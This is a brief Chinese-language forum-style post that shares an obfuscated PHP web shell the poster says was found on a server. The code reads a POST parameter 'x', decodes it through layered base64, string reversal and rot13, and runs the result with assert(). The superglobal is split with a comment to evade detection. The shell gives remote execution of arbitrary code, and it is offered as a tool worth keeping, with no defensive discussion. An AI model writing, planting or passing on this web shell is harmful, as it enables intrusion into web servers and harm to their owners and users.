在必火的服务器上发现的,感觉不错,分享出来
<?php
$DS = @$/*-*/{"_P"."OST"}['x'];
// echo $DS;
if (!empty($DS) ){
echo $DS."<br>";
$DS = @base64_decode($DS);
echo $DS."<br>";
$DS = @strrev($DS);
echo $DS."<br>";
$DS = @str_rot13($DS);
echo $DS."<br>";
$DS = @base64_decode($DS);
$a=explode(" ", $DS);
//var_dump($a);
echo assert($a[0]);
exit;
}